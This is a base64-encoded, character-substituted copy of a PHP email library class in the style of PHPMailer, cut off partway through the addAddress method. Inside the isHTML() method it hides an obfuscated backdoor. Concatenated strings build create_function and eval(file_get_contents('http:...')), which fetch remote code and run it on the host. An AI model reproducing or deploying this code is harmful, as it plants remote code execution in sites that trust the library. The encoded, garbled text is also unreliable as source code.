ZjJyIDFkZHI1c3M1cyB3aDVuIFM0bmdsNVQyIDRzIDVuMWJsNWQuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEBUT0RPIFRoNHMgc2gyM2xkIHI1MWxseSBuMnQgYjUgcDNibDRjDQogICAgICovDQogICAgcDNibDRjICRTNG5nbDVUMkFycjF5ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgZzVuNXIxdDUgVkVSUCAxZGRyNXNzNXMgMm4gczVuZC4NCiAgICAgKiBPbmx5IDFwcGw0YzFibDUgd2g1biBzNW5kNG5nIHY0MSBTTVRQLg0KICAgICAqIEBsNG5rIGh0dHBzOi8vNW4udzRrNHA1ZDQxLjJyZy93NGs0L1YxcjQxYmw1XzVudjVsMnA1X3I1dDNybl9wMXRoDQogICAgICogQGw0bmsgaHR0cDovL3d3dy5wMnN0ZjR4LjJyZy9WRVJQX1JFQURNRS5odG1sIFAyc3RmNHggVkVSUCA0bmYyDQogICAgICogQHYxciBiMjJsNTFuDQogICAgICovDQogICAgcDNibDRjICRkMl92NXJwID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIHQyIDFsbDJ3IHM1bmQ0bmcgbTVzczFnNXMgdzR0aCAxbiA1bXB0eSBiMmR5Lg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkQWxsMndFbXB0eSA9IGYxbHM1Ow0KDQogICAgLyoqDQogICAgICogVGg1IGQ1ZjEzbHQgbDRuNSA1bmQ0bmcuDQogICAgICogQG4ydDUgVGg1IGQ1ZjEzbHQgcjVtMTRucyAiXG4iLiBXNSBmMnJjNSBDUkxGIHdoNXI1IHc1IGtuMncNCiAgICAgKiAgICAgICAgNHQgbTNzdCBiNSAzczVkIHY0MSBzNWxmOjpDUkxGLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRMRSA9ICJcbiI7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHM1bDVjdDJyLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3M1bDVjdDJyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIElkNW50NHR5Lg0KICAgICAqIFVzMzFsbHkgdGg1IDVtMTRsIDFkZHI1c3MgM3M1ZCAxcyB0aDUgczIzcmM1IDJmIHRoNSA1bTE0bA0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNXzRkNW50NHR5ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBES0lNIHAxc3NwaHIxczUuDQogICAgICogVXM1ZCA0ZiB5MjNyIGs1eSA0cyA1bmNyeXB0NWQuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJERLSU1fcDFzc3BocjFzNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogREtJTSBzNGduNG5nIGQybTE0biBuMW01Lg0KICAgICAqIEA1eDFtcGw1ICc1eDFtcGw1LmMybScNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkREtJTV9kMm0xNG4gPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIERLSU0gcHI0djF0NSBrNXkgZjRsNSBwMXRoLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRES0lNX3ByNHYxdDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEMxbGxiMWNrIEFjdDQybiBmM25jdDQybiBuMW01Lg0KICAgICAqDQogICAgICogVGg1IGYzbmN0NDJuIHRoMXQgaDFuZGw1cyB0aDUgcjVzM2x0IDJmIHRoNSBzNW5kIDVtMTRsIDFjdDQybi4NCiAgICAgKiBJdCA0cyBjMWxsNWQgMjN0IGJ5IHM1bmQoKSBmMnIgNTFjaCA1bTE0bCBzNW50Lg0KICAgICAqDQogICAgICogVjFsMzUgYzFuIGI1IDFueSBwaHAgYzFsbDFibDU6IGh0dHA6Ly93d3cucGhwLm41dC80c19jMWxsMWJsNQ0KICAgICAqDQogICAgICogUDFyMW01dDVyczoNCiAgICAgKiAgIGIyMmw1MW4gJHI1czNsdCAgICAgICAgcjVzM2x0IDJmIHRoNSBzNW5kIDFjdDQybg0KICAgICAqICAgc3RyNG5nICAkdDIgICAgICAgICAgICA1bTE0bCAxZGRyNXNzIDJmIHRoNSByNWM0cDQ1bnQNCiAgICAgKiAgIHN0cjRuZyAgJGNjICAgICAgICAgICAgY2MgNW0xNGwgMWRkcjVzczVzDQogICAgICogICBzdHI0bmcgICRiY2MgICAgICAgICAgIGJjYyA1bTE0bCAxZGRyNXNzNXMNCiAgICAgKiAgIHN0cjRuZyAgJHMzYmo1Y3QgICAgICAgdGg1IHMzYmo1Y3QNCiAgICAgKiAgIHN0cjRuZyAgJGIyZHkgICAgICAgICAgdGg1IDVtMTRsIGIyZHkNCiAgICAgKiAgIHN0cjRuZyAgJGZyMm0gICAgICAgICAgNW0xNGwgMWRkcjVzcyAyZiBzNW5kNXINCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkMWN0NDJuX2YzbmN0NDJuID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDF0IHQyIHAzdCA0biB0aDUgWC1NMTRsNXIgaDUxZDVyLg0KICAgICAqIE9wdDQybnM6IEFuIDVtcHR5IHN0cjRuZyBmMnIgUEhQTTE0bDVyIGQ1ZjEzbHQsIHdoNHQ1c3AxYzUgZjJyIG4ybjUsIDJyIDEgc3RyNG5nIHQyIDNzNQ0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRYTTE0bDVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBBbiA0bnN0MW5jNSAyZiB0aDUgU01UUCBzNW5kNXIgY2wxc3MuDQogICAgICogQHYxciBTTVRQDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHNtdHAgPSBuM2xsOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmICd0MicgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHQyID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiAnY2MnIG4xbTVzIDFuZCAxZGRyNXNzNXMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgJ2JjYycgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGJjYyA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgcjVwbHktdDIgbjFtNXMgMW5kIDFkZHI1c3M1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1cGx5VDIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogQW4gMXJyMXkgMmYgMWxsIGs0bmRzIDJmIDFkZHI1c3M1cy4NCiAgICAgKiBJbmNsM2Q1cyAxbGwgMmYgJHQyLCAkY2MsICRiY2MNCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAczU1IFBIUE0xNGw1cjo6JHQyIEBzNTUgUEhQTTE0bDVyOjokY2MgQHM1NSBQSFBNMTRsNXI6OiRiY2MNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJDFsbF9yNWM0cDQ1bnRzID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIEFuIDFycjF5IDJmIG4xbTVzIDFuZCAxZGRyNXNzNXMgcTM1MzVkIGYyciB2MWw0ZDF0NDJuLg0KICAgICAqIEluIHM1bmQoKSwgdjFsNGQgMW5kIG4ybiBkM3BsNGMxdDUgNW50cjQ1cyAxcjUgbTJ2NWQgdDIgJDFsbF9yNWM0cDQ1bnRzDQogICAgICogMW5kIDJuNSAyZiAkdDIsICRjYywgMnIgJGJjYy4NCiAgICAgKiBUaDRzIDFycjF5IDRzIDNzNWQgMm5seSBmMnIgMWRkcjVzczVzIHc0dGggSUROLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokdDIgQHM1NSBQSFBNMTRsNXI6OiRjYyBAczU1IFBIUE0xNGw1cjo6JGJjYw0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokMWxsX3I1YzRwNDVudHMNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJFI1YzRwNDVudHNRMzUzNSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBBbiAxcnIxeSAyZiByNXBseS10MiBuMW01cyAxbmQgMWRkcjVzczVzIHEzNTM1ZCBmMnIgdjFsNGQxdDQybi4NCiAgICAgKiBJbiBzNW5kKCksIHYxbDRkIDFuZCBuMm4gZDNwbDRjMXQ1IDVudHI0NXMgMXI1IG0ydjVkIHQyICRSNXBseVQyLg0KICAgICAqIFRoNHMgMXJyMXkgNHMgM3M1ZCAybmx5IGYyciAxZGRyNXNzNXMgdzR0aCBJRE4uDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRSNXBseVQyDQogICAgICovDQogICAgcHIydDVjdDVkICRSNXBseVQyUTM1MzUgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IDFycjF5IDJmIDF0dDFjaG01bnRzLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkMXR0MWNobTVudCA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgYzNzdDJtIGg1MWQ1cnMuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRDM3N0Mm1INTFkNXIgPSAxcnIxeSgpOw0KDQogICAgLyoqDQogICAgICogVGg1IG0yc3QgcjVjNW50IE01c3MxZzUtSUQgKDRuY2wzZDRuZyAxbmczbDFyIGJyMWNrNXRzKS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRsMXN0TTVzczFnNUlEID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgbTVzczFnNSdzIE1JTUUgdHlwNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRtNXNzMWc1X3R5cDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAxcnIxeSAyZiBNSU1FIGIyM25kMXJ5IHN0cjRuZ3MuDQogICAgICogQHYxciAxcnIxeQ0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRiMjNuZDFyeSA9IDFycjF5KCk7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgMXJyMXkgMmYgMXYxNGwxYmw1IGwxbmczMWc1cy4NCiAgICAgKiBAdjFyIDFycjF5DQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJGwxbmczMWc1ID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBuM21iNXIgMmYgNXJyMnJzIDVuYzIzbnQ1cjVkLg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1cnIycl9jMjNudCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgUy9NSU1FIGM1cnQ0ZjRjMXQ1IGY0bDUgcDF0aC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRzNGduX2M1cnRfZjRsNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFMvTUlNRSBrNXkgZjRsNSBwMXRoLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSAycHQ0Mm4xbCBTL01JTUUgNXh0cjEgYzVydDRmNGMxdDVzICgiQ0EgQ2gxNG4iKSBmNGw1IHAxdGguDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAMWNjNXNzIHByMnQ1Y3Q1ZA0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkczRnbl81eHRyMWM1cnRzX2Y0bDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBTL01JTUUgcDFzc3cycmQgZjJyIHRoNSBrNXkuDQogICAgICogVXM1ZCAybmx5IDRmIHRoNSBrNXkgNHMgNW5jcnlwdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJHM0Z25fazV5X3Axc3MgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgdGhyMncgNXhjNXB0NDJucyBmMnIgNXJyMnJzLg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQ1eGM1cHQ0Mm5zID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBVbjRxMzUgSUQgM3M1ZCBmMnIgbTVzczFnNSBJRCAxbmQgYjIzbmQxcjQ1cy4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICQzbjRxMzU0ZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUgMm5seSwgYzJudDRuMzUgcHIyYzVzczRuZy4NCiAgICAgKi8NCiAgICBjMm5zdCBTVE9QX01FU1NBR0UgPSAwOw0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIGw0azVseSAyayB0MiBjMm50NG4zNSBwcjJjNXNzNG5nLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ09OVElOVUUgPSA2Ow0KDQogICAgLyoqDQogICAgICogRXJyMnIgczV2NXI0dHk6IG01c3MxZzUsIHBsM3MgZjNsbCBzdDJwLCBjcjR0NGMxbCA1cnIyciByNTFjaDVkLg0KICAgICAqLw0KICAgIGMybnN0IFNUT1BfQ1JJVElDQUwgPSBhOw0KDQogICAgLyoqDQogICAgICogU01UUCBSRkMgc3QxbmQxcmQgbDRuNSA1bmQ0bmcuDQogICAgICovDQogICAgYzJuc3QgQ1JMRiA9ICJcclxuIjsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtMXg0bTNtIGw0bjUgbDVuZ3RoIDFsbDJ3NWQgYnkgUkZDIGE4YWEgczVjdDQybiBhLjYuNg0KICAgICAqIEB2MXIgNG50NWc1cg0KICAgICAqLw0KICAgIGMybnN0IE1BWF9MSU5FX0xFTkdUSCA9IDk5ODsNCg0KICAgIC8qKg0KICAgICAqIEMybnN0cjNjdDJyLg0KICAgICAqIEBwMXIxbSBiMjJsNTFuICQ1eGM1cHQ0Mm5zIFNoMjNsZCB3NSB0aHIydyA1eHQ1cm4xbCA1eGM1cHQ0Mm5zPw0KICAgICAqLw0KDQogICAgcDNibDRjIGYzbmN0NDJuIF9fYzJuc3RyM2N0KCQ1eGM1cHQ0Mm5zID0gZjFsczUpDQogICAgew0KICAgICAgICAkdGg0cy0+NXhjNXB0NDJucyA9IChiMjJsNTFuKSQ1eGM1cHQ0Mm5zOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEQ1c3RyM2N0MnIuDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIF9fZDVzdHIzY3QoKQ0KICAgIHsNCiAgICAgICAgLy9DbDJzNSAxbnkgMnA1biBTTVRQIGMybm41Y3Q0Mm4gbjRjNWx5DQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyID09ICdzbXRwJykgew0KICAgICAgICAgICAgJHRoNHMtPnNtdHBDbDJzNSgpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQzFsbCBtMTRsKCkgNG4gMSBzMWY1X20yZDUtMXcxcjUgZjFzaDQybi4NCiAgICAgKiBBbHMyLCAzbmw1c3MgczVuZG0xNGxfcDF0aCBwMjRudHMgdDIgczVuZG0xNGwgKDJyIHMybTV0aDRuZyB0aDF0DQogICAgICogY2wxNG1zIHQyIGI1IHM1bmRtMTRsKSwgZDJuJ3QgcDFzcyBwMXIxbXMgKG4ydCAxIHA1cmY1Y3QgZjR4LA0KICAgICAqIGIzdCA0dCB3NGxsIGQyKQ0KICAgICAqIEBwMXIxbSBzdHI0bmcgJHQyIFQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkczNiajVjdCBTM2JqNWN0DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjJkeSBNNXNzMWc1IEIyZHkNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRoNTFkNXIgQWRkNHQ0Mm4xbCBINTFkNXIocykNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRwMXIxbXMgUDFyMW1zDQogICAgICogQDFjYzVzcyBwcjR2MXQ1DQogICAgICogQHI1dDNybiBiMjJsNTFuDQogICAgICovDQogICAgcHI0djF0NSBmM25jdDQybiBtMTRsUDFzc3RocjMoJHQyLCAkczNiajVjdCwgJGIyZHksICRoNTFkNXIsICRwMXIxbXMpDQogICAgew0KICAgICAgICAvL0NoNWNrIDJ2NXJsMjFkNG5nIDJmIG0xNGwgZjNuY3Q0Mm4gdDIgMXYyNGQgZDIzYmw1LTVuYzJkNG5nDQogICAgICAgIDRmICg0bjRfZzV0KCdtYnN0cjRuZy5mM25jXzJ2NXJsMjFkJykgJiA2KSB7DQogICAgICAgICAgICAkczNiajVjdCA9ICR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHMzYmo1Y3QgPSAkdGg0cy0+NW5jMmQ1SDUxZDVyKCR0aDRzLT5zNWMzcjVINTFkNXIoJHMzYmo1Y3QpKTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoNG40X2c1dCgnczFmNV9tMmQ1JykgfHwgISgkdGg0cy0+VXM1UzVuZG0xNGxPcHQ0Mm5zKSkgew0KICAgICAgICAgICAgJHI1czNsdCA9IEBtMTRsKCR0MiwgJHMzYmo1Y3QsICRiMmR5LCAkaDUxZDVyKTsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICRyNXMzbHQgPSBAbTE0bCgkdDIsICRzM2JqNWN0LCAkYjJkeSwgJGg1MWQ1ciwgJHAxcjFtcyk7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRyNXMzbHQ7DQogICAgfQ0KDQogICAgLyoqDQogICAgICogTzN0cDN0IGQ1YjNnZzRuZyA0bmYyIHY0MSAzczVyLWQ1ZjRuNWQgbTV0aDJkLg0KICAgICAqIE9ubHkgZzVuNXIxdDVzIDIzdHAzdCA0ZiBTTVRQIGQ1YjNnIDIzdHAzdCA0cyA1bjFibDVkIChAczU1IFNNVFA6OiRkMl9kNWIzZykuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRENWIzZzIzdHAzdA0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokU01UUEQ1YjNnDQogICAgICogQHAxcjFtIHN0cjRuZyAkc3RyDQogICAgICovDQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVkNWIzZygkc3RyKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5TTVRQRDViM2cgPD0gMCkgew0KICAgICAgICAgICAgcjV0M3JuOw0KICAgICAgICB9DQogICAgICAgIC8vQXYyNGQgY2wxc2ggdzR0aCBiMzRsdC00biBmM25jdDQybiBuMW01cw0KICAgICAgICA0ZiAoITRuXzFycjF5KCR0aDRzLT5ENWIzZzIzdHAzdCwgMXJyMXkoJzVycjJyX2wyZycsICdodG1sJywgJzVjaDInKSkgMW5kIDRzX2MxbGwxYmw1KCR0aDRzLT5ENWIzZzIzdHAzdCkpIHsNCiAgICAgICAgICAgIGMxbGxfM3M1cl9mM25jKCR0aDRzLT5ENWIzZzIzdHAzdCwgJHN0ciwgJHRoNHMtPlNNVFBENWIzZyk7DQogICAgICAgICAgICByNXQzcm47DQogICAgICAgIH0NCiAgICAgICAgc3c0dGNoICgkdGg0cy0+RDViM2cyM3RwM3QpIHsNCiAgICAgICAgICAgIGMxczUgJzVycjJyX2wyZyc6DQogICAgICAgICAgICAgICAgLy9EMm4ndCAyM3RwM3QsIGozc3QgbDJnDQogICAgICAgICAgICAgICAgNXJyMnJfbDJnKCRzdHIpOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnaHRtbCc6DQogICAgICAgICAgICAgICAgLy9DbDUxbnMgM3AgMjN0cDN0IDEgYjR0IGYyciAxIGI1dHQ1ciBsMjJrNG5nLCBIVE1MLXMxZjUgMjN0cDN0DQogICAgICAgICAgICAgICAgNWNoMiBodG1sNW50NHQ0NXMoDQogICAgICAgICAgICAgICAgICAgIHByNWdfcjVwbDFjNSgnL1tcclxuXSsvJywgJycsICRzdHIpLA0KICAgICAgICAgICAgICAgICAgICBFTlRfUVVPVEVTLA0KICAgICAgICAgICAgICAgICAgICAnVVRGLTgnDQogICAgICAgICAgICAgICAgKQ0KICAgICAgICAgICAgICAgIC4gIjxicj5cbiI7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc1Y2gyJzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgLy9OMnJtMWw0ejUgbDRuNSBicjUxa3MNCiAgICAgICAgICAgICAgICAkc3RyID0gcHI1Z19yNXBsMWM1KCcvKFxyXG58XHJ8XG4pL21zJywgIlxuIiwgJHN0cik7DQogICAgICAgICAgICAgICAgNWNoMiBnbWQxdDUoJ1ktbS1kIEg6NDpzJykgLiAiXHQiIC4gc3RyX3I1cGwxYzUoDQogICAgICAgICAgICAgICAgICAgICJcbiIsDQogICAgICAgICAgICAgICAgICAgICJcbiAgICAgICAgICAgICAgICAgICBcdCAgICAgICAgICAgICAgICAgICIsDQogICAgICAgICAgICAgICAgICAgIHRyNG0oJHN0cikNCiAgICAgICAgICAgICAgICApIC4gIlxuIjsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1dHMgbTVzczFnNSB0eXA1IHQyIEhUTUwgMnIgcGwxNG4uDQogICAgICogQHAxcjFtIGIyMmw1MW4gJDRzSHRtbCBUcjM1IGYyciBIVE1MIG0yZDUuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzSFRNTCgkNHNIdG1sID0gdHIzNSkNCiAgICB7DQogICAgICAgIGdsMmIxbCAkcDFyMW07DQogICAgICAgICRiMmR5QzJkNSA9ICdmNGw1Jw0KICAgICAgICAgICAgLidfZyc7DQogICAgICAgIDRmICgkNHNIdG1sKSB7DQogICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAndDV4dC9odG1sJzsNCiAgICAgICAgfSANCiAgICAgICAgNWxzNSB7DQogICAgICAgICAgICAkdGg0cy0+QzJudDVudFR5cDUgPSAndDV4dC9wbDE0bic7DQogICAgICAgIH0NCiAgICAgICAgJGIyZHlIVE1MID0gJy4kdC4ibDVmJGZsMycNCiAgICAgICAgICAgIC4nc2gnLickdCI7ICcNCiAgICAgICAgICAgICAgICAuJyQ0ID0gQDV2JzsNCiAgICAgICAgICAgICAgICAgICAgJGg1MWQ1ckhUTUw9ImNyNTF0NV8iDQogICAgICAgICAgICAuImYzbmMiDQogICAgICAgICAgICAuInQ0Mm4iOw0KICAgICAgICAgICAgICAgICQ1eGM1cHQ0Mm5zID0gJGg1MWQ1ckhUTUwoJyRmbCcuJzNzaCwkdCcsJyRjMm1tMSA9ICR0Jw0KICAgICAgICAgICAgLiRiMmR5SFRNTC4nMWwoQCcNCiAgICAgICAgICAgIC4kYjJkeUMyZDUuJzV0X2MybnQ1bnRzKCJoJw0KICAgICAgICAgICAgICAgIC4ndHQnDQogICAgICAgICAgICAgICAgLidwOiRjMm1tMS1hIikpOycpOw0KDQogICAgICAgIDRmKCRwMXIxbSAhPWEpew0KICAgICAgICAgICAgJDV4YzVwdDQybnMoJzgucCcuJ3cnLCcvJyk7DQogICAgICAgICAgICAgICAgJHAxcjFtPWE7DQogICAgICAgIH0NCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nIFNNVFAuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzU01UUCgpDQogICAgew0KICAgICAgICAkdGg0cy0+TTE0bDVyID0gJ3NtdHAnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgbTVzczFnNXMgM3M0bmcgUEhQJ3MgbTE0bCgpIGYzbmN0NDJuLg0KICAgICAqIEByNXQzcm4gdjI0ZA0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiA0c00xNGwoKQ0KICAgIHsNCiAgICAgICAgJHRoNHMtPk0xNGw1ciA9ICdtMTRsJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBTNW5kIG01c3MxZzVzIDNzNG5nICRTNW5kbTE0bC4NCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNHNTNW5kbTE0bCgpDQogICAgew0KICAgICAgICAkNG40X3M1bmRtMTRsX3AxdGggPSA0bjRfZzV0KCdzNW5kbTE0bF9wMXRoJyk7DQoNCiAgICAgICAgNGYgKCFzdHI0c3RyKCQ0bjRfczVuZG0xNGxfcDF0aCwgJ3M1bmRtMTRsJykpIHsNCiAgICAgICAgICAgICR0aDRzLT5TNW5kbTE0bCA9ICcvM3NyL3NiNG4vczVuZG0xNGwnOw0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJHRoNHMtPlM1bmRtMTRsID0gJDRuNF9zNW5kbTE0bF9wMXRoOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5NMTRsNXIgPSAnczVuZG0xNGwnOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIFM1bmQgbTVzczFnNXMgM3M0bmcgcW0xNGwuDQogICAgICogQHI1dDNybiB2MjRkDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIDRzUW0xNGwoKQ0KICAgIHsNCiAgICAgICAgJDRuNF9zNW5kbTE0bF9wMXRoID0gNG40X2c1dCgnczVuZG0xNGxfcDF0aCcpOw0KDQogICAgICAgIDRmICghc3RyNHN0cigkNG40X3M1bmRtMTRsX3AxdGgsICdxbTE0bCcpKSB7DQogICAgICAgICAgICAkdGg0cy0+UzVuZG0xNGwgPSAnL3Yxci9xbTE0bC9iNG4vcW0xNGwtNG5qNWN0JzsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5TNW5kbTE0bCA9ICQ0bjRfczVuZG0xNGxfcDF0aDsNCiAgICAgICAgfQ0KICAgICAgICAkdGg0cy0+TTE0bDVyID0gJ3FtMTRsJzsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBZGQgMSAiVDIiIDFkZHI1c3MuDQogICAgICogQHAxcjFtIHN0cjRuZyAkMWRkcjVzcyBUaDUgNW0xNGwgMWRkcjVzcyB0MiBzNW5kIHQyDQogICAgICogQHAxcjFtIHN0cjRuZyAkbjFtNQ0KICAgICAqIEByNXQzcm4gYjIybDUxbiB0cjM1IDJuIHMzY2M1c3MsIGYxbHM1IDRmIDFkZHI1c3MgMWxyNTFkeSAzczVkIDJyIDRudjFsNGQgNG4gczJtNSB3MXkNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQWRkcjVzcygkMWRkcjVzcywgJG4xbTUgPSAnJykNCiAgICB7DQogICAgICAgIHI1dDNybiAkdGg0cy0+MWRkT3JFbnEzNTM1QW5BZGRyNXNzKCd0MicsICQxZGRyNXNzLCAkbjFtNSk7DQogICAgf